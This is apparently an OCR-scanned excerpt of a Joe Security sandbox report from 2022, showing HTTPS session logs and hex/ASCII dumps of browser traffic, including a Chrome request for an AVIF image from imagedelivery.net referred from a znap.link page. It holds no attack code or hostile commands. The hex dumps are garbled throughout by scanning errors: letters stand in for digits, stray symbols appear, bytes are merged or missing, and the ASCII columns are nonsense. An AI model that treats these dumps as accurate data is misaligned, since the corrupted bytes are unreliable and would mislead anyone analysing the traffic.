Data Ascii: KDGs6snx a~0+?&v 3% @!aid][0/XokUU92#v8UDIW/)9 8qpal[Dd$rzhCkF'>$TIWyZ@Z1w5pG3/MFBA{2K
mp\O-

Data Raw: b1 e6 fe 9d Oc 1f 88 ec a8 92 39 4a 68 60 ae e8 91 1c 36 22 7f 58 be 26 7 4f 24 d1 25 ff 53 78 60 65 3e ed dd
bd 8 4d ea 2a b4 83 4e de ad 3a 31 af f7 bl 7c 6b 09 ac 07 6e 06 93 03 ae {7 41 e9 ac 42 a0 06 28 61 4e bf 82 55 1f 6b
9f 0a 6b 00 7f 79 c1 02 53 35 2f f8 88 d6 04 9a 3b 2e cO aa 2d 39 €9 6¢ a8 9a ba 14 5e 1e bf 7e cc e9 a9 b2 93 d8 88 83
d7 98 a5 f4 b7 a6 64 9d 18 5b 05 77 c0 12 cb 2¢ 54 9c cd 20 6d c4 27 2e 98 8f 54 c8 ef 4b 28 ad 03 11 10 08 Of 8e 04 84
¢4 92 14 c0 8a 8¢ 5a b2 81 al 22 95 49 9e 80 a2 6¢ 06 e7 d3 b2 e8 03 Oe 50 bb 63 84 38 Oc 00 98 1a 4d b8 83 11 f7 16
0f 51 ¢9 40 00 2a 3a 31 5a ce c2 c2 29 b9 5e 97 b6 76 da 3e 82 07 1e cd b3 38 12 de 4e 31 ee f0 71 d4 9d 10 78 24 6a
da 5d al b3 67 15 9d f1 a6 73 87 bc bl 1d 31 8f 23 a0 d1 9b

Data Ascii: 9Jh'6"X&0$%Sx e>M*N:1|knAB(aNUkkyS5/;.-91"~d[w, T m".TK(Z"lIPcBMQ@*:1Z)"v>8N1qgx$jlgs1#

Data Raw: 55 da a9 13 50 42 7c 9a 06 4d c5 1c el 3c 2d 95 4b 9d ab 49 34 d7 fc Of e6 65 c4 4a 56 bd f6 8e f5 10 61 €8
38 a5 22 0b 33 b0 59 e9 fb b5 aa 19 d2 de bf b3 e2 df 7a 8c b8 26 ec da 87 2e d0 e2 cf 38 cd f4 0d d8 32 d9 2b 5a 6b bb
9d 7f 58 db bb 71 e2 fb Oc d5 5a 8¢ 64 3a f5 bb 78 3d 95 cc a9 3b 07 94 8c 48 d6 14 6¢ 7f Oc 49 83 73 b7 93 cd 24 74 56
5c 5a f2 05 72 36 e6 39 66 48 ac 39 6a 2a c9 78 5¢ 60 66 cd 6f 9e de 3d 3b 56 b2 60 78 53 91 6a d7 87 5d 16 ae 03 le
ba a4 3a d9 7d ea 7b 31 fd d7 de b3 44 Oc dd ac 9f 6¢ 3d 58 53 4a 87 c1 d3 cb af 56 4f 3e ba 84 30 6e b5 d6 40 a9 fb 95
c6 62 ef ae 36 2a 4b e6 1c 0f 87 38 1c 32 97 63 56 89 ec c6 7f 71 d7 9d 24 c8 f5 83 1d ea 63 f2 84 9e 3b 85 c5 06 e0 aa
79 de 1c Ob 1d 01 al 03 ac 80 67 f8 ee 10 23 95 82 a5 14 11

Data Ascii: UPB|M<-Kl4eJVa8"3Yz&.82+ZkXqZd:x=;HIIs$tV\Zr69fH9j*x\ fo=;V "xSj]: {1DI=XSIVO>0n@b6*K82cVq$c;yg#

Data Raw: 7c 5¢ 03 73 21 9f 6d db 5f 9e el dc 4d f4 el d3 23 71 a5 7e 41 fe 53 1b 2e 71 91 df ce c4 6e c0 18 92 03 d7 f3
52 cb el 09 dd 04 9b ac a6 77 d9 84 e3 fd 33 b1 52 40 95 97 53 11 11 a6 91 1e 3c 4f Oe e5 1a 8d e7 a3 34 9d fc 9e d9 3a
f2 9f 64 2e ¢3 bd 9f 3d 4c 65 88 02 72 0f 24 12 d8 e2 43 d8 00 6d 67 90 a2 26 6b ac 6c €0 e8 f3 98 77 61 cc b0 48 8¢ 7f
01 c6 d8 6a 30 75 ¢7 5d 05 3 al 91 3a 70 3f 30 a9 39 a8 a7 8a 30 5a 9e ae ee 01 6¢ 34 ff d9 e8 19 d4 fe c2 1d 27 d3 Of
1b ce fe 70 22 44 5f 54 1d c4 ca ba cf 88 76 b7 ba €8 89 57 Oa df a4 a0 cd de c8 a5 02 74 a2 30 1b 5f Oc ad el 9a 55 5f
ab 3d e3 e4 26 55 51 be e2 6a a9 a6 8f b3 el 11 37 ca d9 53 fc d5 cc d4 72 e7 17 70 83 86 06 c7 d6 55 ae 85 12 f4 35 b2
bf 5f fe 80 9d 83 15 8 8c 0a 94 c2 8c c5 e5 78 b6 47

Data Ascii: |\sIm_M#g~AS.qnRwW3R@S<04:d.=Ler$Cmg&kiwaHjou]:p?090ZI4'p"D_TvWt0_U_=&UQj7SrpU5_xG

Data Raw: 13 63 16 74 cf ea ad c2 Oc 8c 40 d5 ee 48 2a fb Oe ff 83 ae ca 6b bd a0 74 8a 29 9a 28 53 3f {8 61 ad 6b b5 3¢
98 d6 84 a6 f1 ef 61 1c 7b 90 4f af 56 06 ee 28 2a 3e 24 41 Oe 7e 00 cf 08 d4 4f 76 a8 54 e5 8e e9 ab 30 9b 4a Oe dd 8¢
84 0c b6 98 41 0b 1d 61 1d 2a ff 95 Oc 45 ba 4c 9d 85 3f d4 6a 3b 03 e5 ea 5e be 64 Oc 73 ca 9c a4 80 Oc fc 7e a9 75 08
ad af 50 62 7b 25 71 de Oe 7b 05 c3 81 8d fa 54 f4 cc 3f 5b 3f ca 8d 0d 78 5¢ dc 68 25 9f 01 e8 3¢ 9b 23 5f 3f 17 88 0a 4b
5d c1 1d fb ae d7 84 b5 06 24 Oe aa ac 7c ac 42 8b ee 31 7d 69 d6 85 3d 84 23 39 9d 19 64 43 bb 96 4e c1 41 60 99 01
97 cl161eb59al 75 el 5b43a5 8d c3 25 9c 1f 44 a5 dd 3d 50 6a 9b d5 77 a5 06 cd 85 b5 73 d5 6 5f 8b b5 87 99 d4 b6
32 e7 6f e3 cc 15 9f 40 4e bd 45 17 52 75 6e 4c eb 26

Data Ascii: ct@H*kt)(S?ak<a{OV(*>$A~OvT0JAa*EL?j;"ds~uPb{%q{T?[?x\n%<#_?K]$|B1}i=#9dCNAaYu[C%D=Pjws
_20@NERunL&
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Session ID Source IP
5 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:11 UTC 36

2022-05-13 12:56:11 UTC 44

2022-05-13 12:56:11 UTC 44

2022-05-13 12:56:11 UTC 45

2022-05-13 12:56:11 UTC 47

2022-05-13 12:56:11 UTC 48

2022-05-13 12:56:11 UTC 49

Copyright Joe Security LLC 2022

Source Port

49788

Direction

ouT

Destination

Destination IP Process

Port
104.18.2.36 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /tqC70bVt8T6GtQUXNsa2-g/9dadal13-b0d6-42db-e08f-6dcc95858400/public HTTP/1.1

Host: imagedelivery.net

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT

Content-Type: image/avif

Content-Length: 30013

Connection: close

CF-Ray: 70ab8d814c269a15-FRA

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=14400

ETag: "cfomklZo_5QAwhceNbFKmw8w"

Vary: Accept

CF-Cache-Status: HIT

cf-bgj: imgq:85,h2pri

cf-images: internal=ok/- =0 n=405 c=240 v=2022.4.12 |=30013
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-content-type-options: nosniff

Server: cloudflare

Data Raw: 00 00 00 18 66 74 79 70 61 76 69 66 00 00 00 00 6d 69 66 31 6d 69 61 66 00 00 00 d2 6d 65 74 61 00 00 00
00 00 00 00 21 68 64 6¢ 72 00 00 00 00 00 00 00 00 70 69 63 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oe 70
69 74 6d 00 00 00 00 00 01 00 00 00 1e 69 6¢ 6f 63 00 00 00 00 44 00 00 01 00 01 00 00 00 01 00 00 00 f2 00 00 74 4b O
000 00 23 69 69 6e 66 00 00 00 00 00 01 00 00 00 15 69 6e 66 65 02 00 00 00 00 01 00 00 61 76 30 31 00 00 00 00 56
69 70 72 70 00 00 00 38 69 70 63 6f 00 00 00 14 69 73 70 65 00 00 00 00 00 00 04 00 00 00 01 d8 00 00 00 Oc 61 76 31
43 81 3f 00 00 00 00 00 10 70 69 78 69 00 00 00 00 03 08 08 08 00 00 00 16 69 70 6d 61 00 00 00 00 00 00 00 01 00 01
03 01 82 03 00 00 74 53 6d 64 61 74 12 00 Oa Oa 3f e6 3f fe b9 68 08 68 Oa

Data Ascii: ftypavifmifimiafmeta!hdIrpictpitmilocDtK#iinfinfeav01Viprp8ipcoispeavlC?pixiipmatSmdat??hh

Data Raw: 41 d9 99 ee a3 29 73 96 96 6a 23 b0 6f 29 75 80 3a d1 af f0 1a 46 95 de 28 3f 44 9f 8f 98 c3 Of ea 7d 03 d4 38
00 a4 fd 2d 26 3e 1d 95 3c 74 50 ed 5a fe 87 cc 5a aa ff ef 74 f1 08 b4 f9 26 1b fO Oe a9 f6 b0 e4 84 ce bf 17 c9 49 5d 68
35 3d e9 1c fO a8 43 45 fc ae 97 ef ff b6 a9 08 db ed ef 04 ad a6 5b 5a 73 41 92 af 78 96 f9 b2 9d 27 36 30 21 ca 98 5f bl
25 6a c2 cf f4 ca 5¢ f1 96 59 ec d2 f9 56 cd f4 19 b7 06 89 64 44 36 92 d0 bl c1 32 ae 6d 18 dd 97 5a f3 23 8b 1b 42 96
6b 20 16 ec b6 47 25 3f 2d 61 61 1e 2a a0 51 f0 ed 77 al c7 9d be 6b 83 eb a9 48 d1 d5 c8 aa 59 e4 el 52 47 28 a5 aa fc
7a 94 e8 04 Oc 78 76 cO ce 04 e2 1b 1a 88 5c 3f 2a 16 f1 a2 d5 24 8b 71 f5 ec 8b cc e7 aa a9 9a 08 84 e5 f1 96 d3 9f aa
1d c4 bf 97 10 23 09 ec d5 22 86 76 a9 2f 6a e3

Data Ascii: A)sj#0)u:F(?D}8-&><tPZZt&I]h5=CE[ZsAx'60!_%j\YVdD62mZ#Bk G%?-aa*QWkHYRG(zxV\?*$q#"V/j

Data Raw: d3 9a 91 96 e0 28 96 df e4 8a f7 01 7f 52 e0 71 19 37 37 c4 c3 f5 1d 2a db 58 Of 1a ee c1 ee 80 1d 22 1le 21
a3 46 9b dc le cc 4e 27 4d 18 9d 6f cb 01 4e 87 e8 85 9a 20 5b 79 ec 9a f6 28 c4 b0 88 af 66 26 8d 2c 3b 55 60 61 ae e2
20378041 23 b9 1b 3b 33 73 36 58 63 98 14 47 7a 01 84 b0 cc 1a b0 22 f4 fe 60 30 8b e4 9c 52 62 0d 5f 1d 39 5f 30 db
89 1b b3 ec 10 7a 01 32 43 94 8f Ob ca c7 bb 96 3c 35 58 64 b3 5b 58 ef 80 f6 a8 ed a2 27 46 96 8a ae ae ab b3 7e 2e d9
le 5e 3a 38 34 b9 4b 86 b4 41 18 59 5b 4a Oc 4e 36 al 57 83 cf f2 ba 8¢ f7 el dc 5¢ a4 65 1b c1 06 ff 18 23 54 49 Oe d2
27 5f 2c a9 93 b8 59 a3 3d d0 76 69 1a 3b 3c 1a 35 9f 79 ca 02 13 c¢6 03 40 b1 1d d6 f9 9d Od cc Of 01 f1 a3 4c 39 70 70
2c 6b 3b a8 97 95 05 96 23 6f df 21 a3 f2 39 f8 51 1d ca

Data Ascii: (Rq77*X"IFN'MoN [y(f&,;U"a 7A#;3s6XcGz" 0Rb_9_0z2C<5Xd[X'F~.A:84KAY[INBW\e#TI'_,Y=vi;<5y
@L9pp,k;#0!9Q

Data Raw: 42 dc 05 b1 d8 3c eb 78 4f 55 96 59 aa 9e c2 90 ef cd fe 43 6b 9e 59 c2 8d ff 3c 42 3e ed 8 f7 13 99 25 65 be
3d 29 ea 26 40 3f 47 38 fa c8 d7 8b 82 ¢3 10 ba 5c 60 84 2e 75 bf 1f 19 fe 9¢ b7 7d 90 2a b2 e2 d1 e9 6a 34 96 1e Ob fe
17 76 97 96 ca 40 1f b1 6f 10 5b 29 13 da 7c 94 9f fa 82 d1 db 51 e6 9d 71 39 13 68 d3 ea 06 3b d8 6f ed cb f0 e0 61 92
5f 58 94 13 4a 80 31 0d 35 52 74 c3 a0 7a c4 72 0a 2b 04 4e 3d fd e7 e2 85 ec 83 05 8¢ a7 Ob 47 d5 ae 2a €9 6b c5 c4 fO
5f a8 d8 19 ac 52 18 63 89 46 21 c3 b3 8f a2 33 c4 02 d5 25 80 27 f1 8b 04 86 13 4b fc bd a2 89 45 ac 6¢ 91 9b 1b 8b cb
9f a3 76 e4 67 3a f1 c6 5d 7c e2 7f c4 4e 54 2f 87 a0 92 d0 72 €9 35 38 c9 e9 25 39 da 3e cd a9 f9 8b 88 df 49 12 99 58 fa
b5 e1 04 72 b5 bl 55 60 50 fd 7b 44 e9 6b 55 73 2d

Data Ascii: B<xOUYCkY<B>%e=)&@?G8\".u}*j4v@o[)|Qq9h;oa_XJ15Rtzr+N=G*k_RcF!3%'KEIvg:]|NT/r58%9>IXrU"P
{DkUs-

Data Raw: 63 d3 b1 53 74 57 da d2 35 b3 6e d9 07 14 fe ea 8f Oa c9 2b 65 84 5f c0 ea 2c €9 90 8c 13 9a 6e 55 c2 92 6e
bd 4e 52 66 e6 04 Oe 1e 98 a2 b2 c5 04 13 e8 bc 13 b8 cb ¢9 e5 bf c0 30 fa 26 5f 04 94 fb 35 d5 46 82 a2 31 Oe fc fa fe ba
c6 b3 42 d6 09 f8 ac fa 61 f2 f4 4f 96 24 81 af f5 al 40 4a 09 76 6b 29 9f 82 ed ac c4 a6 3c cb ea a7 e7 80 15 f0 83 4f 2a
92 92 21 87 00 88 01 fd b5 3c b2 74 ac 17 a8 72 63 c9 df eb 29 62 60 bf b1 02 aa bd 5a 60 94 fd 5a 6a 07 de 50 89 07 6e
63 af 33 64 60 dc Of Of 41 Oc 2d 9a 5c 3f 45 46 6b 02 b4 6¢ a3 72 cf 91 34 5e 5b 3b 64 de df 87 75 d4 67 67 f7 e9 4d be

86 50 5f 45 a5 38 cd 88 4a cd b2 50 a4 b8 a4 52 bf 88 82 3a 70 3a 1e 30 58 96 86 b0 d1 59 fe b0 fe 57 49 be 36 81 ef fe
4d de 16 94 16 42 d4 a9 25 a7 e8 33 e3 d0 27 1f 97

Data Ascii: cStW5n+e_,nUnNRf0& 5F1BaO$@Jvk)<O*I<trc)b’Z ZjPnc3d A-\?EFkIr4”[;duggMP_E8JPR:p:0XYWI6MB%3'
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:11 UTC 51 IN
2022-05-13 12:56:11 UTC 52 IN
2022-05-13 12:56:11 UTC 53 IN
2022-05-13 12:56:11 UTC 55 IN
2022-05-13 12:56:11 UTC 56 IN
2022-05-13 12:56:11 UTC 57 IN
2022-05-13 12:56:11 UTC 59 IN
2022-05-13 12:56:11 UTC 60 IN
2022-05-13 12:56:11 UTC 61 IN

Copyright Joe Security LLC 2022

Data

Data Raw: cO 84 e3 d5 d7 9e a2 f4 9a a4 7a 47 1c be 4e e7 8f c8 42 €9 63 3b 1b 9e f9 b3 c5 5¢ d3 56 56 ae 73 79 47 22
d5 2b 63 55 05 24 6b 27 ef 2a 88 91 aa 93 ca 5d 7f 96 44 c1 €0 f6 Oe 03 fc d2 a2 f6 8a f4 86 f3 al 73 c0 5a e7 c6 76 7f 89
ff 21 59 a7 e6 27 59 6¢ ea 2b 96 e4 a5 71 5e cf c1 db f8 34 bc 59 ab 8b e7 13 ea 14 73 le e2 fc €5 78 da 98 1d 8e d4 d3
c3 7f d6 fO 2f d0 45 a3 2b fc 96 76 c8 a5 6b 40 e8 07 46 cc 90 6f 4b 1f de f4 e5 ca fd 98 d2 el c2 ed 25 71 04 73 Oc 5f 85
13 dc d8 bd 3a 4e d8 eb b2 e5 11 bc €2 d0 bd 3¢ b6 66 71 60 98 00 31 9b e6 28 03 05 94 d4 1a df 40 c4 7b le 4f 24 bl
48 2e 9d e4 ff 1a 7b 1c 02 4d a6 35 f9 4a 5d 97 42 99 42 Oe el f6 92 59 80 a7 Oe 08 5f 31 49 7 fa 19 18 3c 46 f4 fb 59 cb
c9 56 5¢ 8e 0d 07 c1 le d1 f7 1d 2b 3a 2c 5a 45 9d

Data Ascii: ZGNBc;\VVsyG"+cU$k*|DsZV!Y'Y I+ 4Y sx/E+vk@FoK%gs_:N<fq 1(@{O$H.{M5J]BBY_1I<FYV\+:,ZE

Data Raw: 6¢ da 46 23 f3 Of af 19 6e b9 ba a3 29 50 a6 37 d4 f2 8d 7b 9a 85 63 06 ec fb ed 73 65 6 08 ff ca 93 f3 9d 51 5f
5¢ 56 3b 69 20 0d c3 d8 84 9d f6 4f cb 7b fb 65 4e 55 7b 1d c6 29 8b de 2e 17 52 a3 48 97 78 64 76 8 95 €0 b1 7e 3b e4
19 d8 1f b9 45 84 2e c5 55 3b 5a d7 94 f0 74 7d 91 f0 87 5e c9 c0 3a a2 78 fe f3 66 c¢5 25 94 Oc 7a Ob 7c 41 8e f7 61 e0
e7 79 b7 ca 0d 1c 78 aa c1 40 5f 14 Oc 13 5d bf 9d 83 54 2e 54 7a 5a 26 2c f5 43 d2 4c 25 1d 82 25 ce d2 42 1c 69 3d 6¢
e8c28bc2 61 19 f0 24 ec 68 75 03 90 04 bd 48 f0 92 35 ae 1f 89 cb 30 21 c7 4c cO da f7 d6 d1 42 ad b0 7 cd 21 d0O 08 f9
c4 1la 57 da fe dd 3a 6d fe e7 cd Of 83 58 17 cf 04 e0 fd 6f 87 30 2e ad 5f 06 Of 75 4b b0 aa 7d d3 42 f1 09 46 ed a2 a7 c7
86 4e a5 4e 94 9f 2f b7 b9 08 35 91 fc 6¢ ed

Data Ascii: IF#n)P7{cseQ_\V;i O{eNU{).RHxdv~;E.U;Zt}":xf%z|Aayx@_]T.TzZ&,CL%%Bi=la$huH50!LB!\W:mXo0._
UK}BFNN/5I

Data Raw: 1e 52 6¢ dd e7 d5 c1 e5 ab fc c6 3e 89 61 e2 77 94 a6 Ob 99 73 78 88 fb d2 9d b2 d2 67 e8 6a f4 59 11 e7 b9
17 06 39 9f 4d c5 el 14 7d b5 96 d1 1c 84 Oa 21 3a 89 dd 08 83 7f 84 d5 ef 08 da ee 29 ce d3 al 39 e4 46 53 d6 5d 4e 6e
e9 el da34 2f3b 7d d4 12 0d 72 df 9a be 5e 11 57 ec 67 10 e8 19 77 fe 01 1a 73 05 f4 9c e4 c7 e8 06 7e 28 {7 ed ee af
a6 6¢ eb 79 2c 9f eb 33 ¢2 19 4a 3e bc 53 87 11 d8 b7 96 8b 90 bd 58 34 69 cf 2b 2d ce 39 6d dc c6 cf 80 71 90 b6 68 13
4317 d5 64 59 79 Oe f3 f0 9f 57 12 31 f5 a8 99 Ob 76 19 ac 50 27 50 d9 be 8e a0 a8 57 00 b8 dd 73 93 82 2a 19 34 ef a5
68 cb fd c7 e4 e4 44 c0 23 33 2¢ 59 9d e4 2a 46 06 23 67 3b 5f 6b Oe af 28 e3 68 f1 b5 60 63 4a 36 6e c4 a5 98 4f 6e 60
34 a2 19 37 31 67 09 f8 78 db be fO 87 56 39 ae 36 56 f1

Data Ascii: RI>awsxgjY9M}!:)9F SINn4/;}r"Wgws~(ly,3J>SX4i+-9mghCdYyW1vP'PWs*4hD#3,Y*F#g;_k(h'cJ6nOn'4
71gxV96V

Data Raw: ef ed 17 22 04 7b 2a be e4 a5 45 dd cc 7b 37 f9 91 44 6b 08 3c bl a2 ba c2 01 32 b7 26 e7 4c 5a 00 31 4c 99
Ob 50 14 f9 20 57 8f 21 d0 8a 18 6f €5 91 71 54 b7 1a 6a bf da 29 8a 3b 18 0f ad cd e7 39 76 18 cf 85 7c 87 ef 42 ad 5f 23
2a 5e cd 82 1c Oe c0 34 26 ce ca 4c 6d 44 94 84 25 al 82 a3 82 1a b7 8f 5¢ df ea f6 bf 7c 25 e4 97 c6 01 8d 96 fb 9b 08 f4
95 b6 5b 4e e3 ec 13 ca 31 11 6¢ d2 ec 12 8f 63 b5 42 34 92 01 ff 1c Of 1c 83 8 02 2d 9a 1c 95 2a 49 be 47 5b cb 9d 49
b5 59 5d b8 fa 23 96 65 54 f9 75 63 bb b7 fb e4 9¢ 2c 33 €5 38 54 ae 99 €2 12 b4 b1 €9 30 33 b5 95 0d da 8e 55 0a 48 1d
cc 3aba7a7196 58 b7 17 ee 75 a4 e3 6b 74 4a bd a4 ed 45 58 22 3c 15 5b €9 b2 bd a3 60 d6 d3 c3 fe 6e 9c 81 09 b6
81 ee 7e 6d a2 93 66 76 €0 1d 48 67 98 3d 37 36 2b 31

Data Ascii: "{*E{7Dk<2&LZ1LP W!oqTj);9v|B_#*"4&LmD%\|%[N1lcB4-*IG[IY]#eTuc,38TO3UH:zgXuktJEX"<[ n~mf
VHg=76+1

Data Raw: 9e 67 96 66 73 6d 05 de 43 Oc b9 el f5 b9 db 8a 58 73 2f 8c 39 7e 92 29 8c 84 7a ca 13 c3 ad e0 86 al 8a 39
11 a6 bc b7 a8 68 e3 6f b8 cb 10 30 29 ba cf 54 0d 06 b5 d6 11 d8 92 a0 7e 09 01 Oc 72 el 31 b8 fe 23 Of ab 60 31 fd e5
94 ¢6 33 dc da cb 08 b9 4b 30 c1 15 73 el 32 1a 96 83 44 8d 68 de 4c 9¢c 81 09 c9 a4 a4 39 33 76 9a 86 6¢ d3 7a 53 5a
5d b6 a0 35 af 1a 74 56 c¢7 bl 1b c4 c8 1f ef ac 87 64 8a 01 af 15 ae 31 a4 02 d7 40 bd 84 a7 84 72 3d 7a fb €8 bd 14 c5
3529 03 6¢ 3e da 49 3a eb d4 fd 2e 48 72 23 12 31 4f 4b 2b 5b 05 75 ef fd 8d c3 6f ae ff e2 e0 33 37 d1 43 4b 4a d4 29
e4 2d 07 3d 3e 16 6b 25 27 d9 1d 2f c6 15 f2 07 dO c0 63 59 99 72 22 1a c1 5a e2 90 b6 4f b8 24 ee 67 c7 3b 9e 86 a5 06
c7 f2 5¢c 63 fc 47 b4 a9 75 54 58 eb a7 55 16 37 97 {3 dc Oc

Data Ascii: gfsmCXs/9~)z9ho0)T~r1# 13K0s2DhL93vIzSZ]5tVd1@r=25)I>I:.Hr#10K+[uo37CKJ)-=>k%'/cYr"ZO$g;
\cGuTXU7

Data Raw: 1d c7 67 e7 69 fd 2f b9 ¢3 71 32 ce de eb ce 30 d3 82 2b cd 73 d6 8a 84 1a da 74 52 35 01 1d 76 25 bc 3f bc
8c fO b0 dc 5a 76 b3 61 dc a9 4c ee bb 32 a2 9a 17 f1 f4 37 eb 93 aa 36 24 Oe fb 6¢ 48 40 48 55 37 6a b7 ce e4 79 7d e0
c2 4f d1 fd ce 2f 64 69 0d 57 93 a0 ae ff 8¢ f7 f8 23 7a a5 a7 7f 66 ae 49 e7 7e 16 40 3e e2 05 df b5 91 27 €9 65 db b3 b8
b0 80 62 e6 38 f4 3d aa 14 25 f4 8¢ 3d 16 f4 93 23 99 b8 c3 4d d4 61 64 ef f2 0a a7 91 14 26 6e ae 3e bb 52 51 12 6¢ 84
50 6f 56 f3 9f f9 1d 2e 75 30 79 63 40 f7 91 5a 1a c7 69 35 11 Ob 1c 64 bb 88 be 2d 50 9e b1 fe f2 61 30 13 77 d3 2c €9
05 13 4c a6 70 ff 8¢ 7b 81 dd fc d9 48 50 73 6d 55 4d 81 db 4f 35 5b f9 79 a0 2f d6 46 6a ad 62 6¢ f8 d8 65 98 ea b4 61
08 ff 31 14 Oe 3b 9b 92 f4 46 8e 74 72 fa 8a aa 62 37

Data Ascii: gi/q20+stR5v%?Zval.276$IH@HU7jy}O/diW#zfl~@>'eb8=%=#Mad&n>RQIPoV.u0yc @Zi5d-Pa0w
,Lp{HPsmUMOS5[y/Fjbleal;Ftrb7

Data Raw: 37 73 9f 2c 3a 88 3e a3 f6 eb e6 91 c2 3f f7 85 Ob 72 a6 fb 5a 3a be €9 f5 bc 60 26 9b 75 30 f0 30 43 b9 d8 13
07 b9 40 4f 30 8d 00 76 cb 21 e9 6d 28 1f fb 6b 89 65 65 3c a9 b8 70 2c d0 13 c4 18 58 cc 58 29 b0 dO 73 91 4b 8f el 04
58 f0 61 22 4e 54 c7 ba b3 34 22 5d 34 91 64 bc 3f c6 26 73 b6 87 ea c9 f8 59 f6 32 44 4f 21 65 31 f4 ae 36 7a 5b 7b e4
81 15 46 20 6f c3 da 92 92 c7 ed cc 1f b4 5¢c 18 27 ea 86 65 ce 98 16 67 63 ed 95 ed 1a b7 30 64 73 fc b6 32 ba 30 Oc f2
ce 81 91 b5 47 97 18 1b c4 2d 9b ac 74 48 e2 3c fa 6f 3d 7c d8 87 6e 62 81 32 6¢ 82 32 6¢ 6e 41 ff ce 1b 8f ba bl 05 ae
dc 3d cb 4a 24 61 7b b2 80 a2 f9 76 eb ed 82 01 50 50 64 65 37 c0 78 53 54 60 50 78 2a 4a 06 3d fa 09 5¢c 29 el 5d f1 d3
b1 de df bd fe b5 d2 el 72 bc d7 cc a7 19 2a ef 4a 5d

Data Ascii: 7s,:>?rZ:"&u00C@00v!m(kee<p,XX)sKXa"NT4"|4d?&sY2D0!e16z[{F o\'egc0ds20G-tH<o=|nb2I2InA=]
$a{vPPde7xST Px*J=\)]r*J]

Data Raw: 83 da eb 5f 1b 55 a5 ea 45 8 4c d2 c1 43 d4 5b 33 7d bc cd ce 77 1c 8a 43 19 ba 09 c0 63 f1 9f 85 88 al b0
6d 07 68 a9 47 61 37 4a 96 ab ae 39 f1 79 c4 1a 04 e8 e7 Oe db 94 de 9c d2 44 09 35 af bf 62 cc 47 c1 6f 96 ed Ob 6¢ 32
6c 8d ea aa 92 82 d9 e9 06 44 a8 56 8d 6e 6e 09 f8 3c a8 62 af db 57 69 6¢ 26 14 eb 00 7b fc b7 fO Of 87 2b 42 94 03 a0
858b al e2 64 3e 4d 80 90 05 67 c5 5¢ 7 ae dc cc a7 08 a7 4c af ¢7 a3 d0 el 7c 22 ff 06 dc b0 5f Ob 50 65 e6 4a fc 4d da
a0 80 80 80 f6 83 8a 80 77 6a b8 fO ae 56 61 61 1b 97 25 5b €3 45 00 ae a0 57 ce 9d bb d9 3a be 26 3d cf f7 3f a8 78 6d
08 ff 58 3b 08 ae e8 b1 e5 bb d8 9d 35 da ba cd 0b 08 25 de 96 c8 1a 8f 5f b6 €0 d9 9e 2d 6f ce 30 d5 9f Oa b8 40 9d 83
3f 67 9d b7 57 fa cd f0 89 5d Oc d5 ce 1e 89 6e 73 bf

Data Ascii: _UELC[3}wCcmhGa7J9yD5bGol2IDVnn<bWil&{+Bd>Mg\L|"_PeIMwjVaa%[EW:&=?xmX;5%_-00@?gW]ns

Data Raw: de 6c f3 9c fc Ob 42 96 a6 23 46 8f 56 e9 26 c5 de d4 9b 9f 4e 6f 93 6¢ eb 15 de 9e c9 94 d8 cb 6a 1b 88 3c b5
9c eb 88 d0 14 de 14 d3 de 59 b8 5f ed bb 3a f8 48 17 f0 16 22 2d f4 aa 05 f6 1e 20 7b 79 ac 01 2c 11 7d ea 11 03 f1 e5
7f 2b 63 60 cc 75 f0 b1 05 60 4c f4 ec 16 22 43 bd €6 b7 22 Ob a2 ca 86 f3 6a e5 08 72 0d 74 fe 25 43 e0 6b e5 a2 59 af
6c 6b b5 64 48 69 4f 92 1e 7c 13 0f 6¢ 7b al 71 63 cd 40 80 23 82 12 c7 42 a6 66 b5 bf 00 42 78 c7 69 af 76 ab 17 5b cd
6¢c ba bl f5 d4 7d b7 6e 0f f5 19 43 65 d6 e7 a9 03 49 b0 4c 67 15 c9 ca 4c 10 8c 54 88 36 da 68 60 d1 65 6d c7 aa 76 5d
35 de de 5b 53 44 e2 59 1c b4 bd 2f 87 57 ec 6e 70 46 aa cc 95 a5 5d 28 38 Oc 00 03 85 c4 2c 43 13 a3 a8 8c 3 6¢ 66 fc
b2 ac bl 25 6e fe 5b 9 97 {7 05 Ob 4d e0 17 43 f6 b9

Data Ascii: IB#FV&Nolj<Y_:H"- {y,}+c u’L"C"jrt%CkYIkdHiO|{gc@#BfBxiv[}nCelLgLT6h emv]5[SDY/WnpF](8,Clf%n[MC
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:11 UTC 63 IN
2022-05-13 12:56:11 UTC 64 IN
2022-05-13 12:56:11 UTC 65 IN
2022-05-13 12:56:11 UTC 67 IN
2022-05-13 12:56:11 UTC 68 IN
2022-05-13 12:56:11 UTC 69 IN
2022-05-13 12:56:11 UTC 71 IN
2022-05-13 12:56:11 UTC 72 IN
2022-05-13 12:56:11 UTC 73 IN
Session ID Source IP Source Port
6 192.168.2.5 49786

Copyright Joe Security LLC 2022

Data

Data Raw: d2 25 54 ba 72 4d 35 e6 32 89 12 c4 2b Oc f6 e5 4d b6 b8 b2 43 69 31 63 08 6¢ b0 c7 77 12 65 ac db 71 9a 99
dd 4a 64 1b da 48 e5 d9 6f ff b9 91 12 89 84 2f 4a 14 3c 9a b5 6a c7 6b 85 af 13 ¢4 5d 6b 62 bc 3d 35 b8 75 33 b9 7c 6a
0 65 f6 65 75 86 20 93 ce 34 5b d2 75 7b b8 34 a3 f9 fa 29 76 07 46 c9 21 af 17 80 b1 ea 98 8f 5b f2 98 f6 3¢ 7e 56 d4 8b
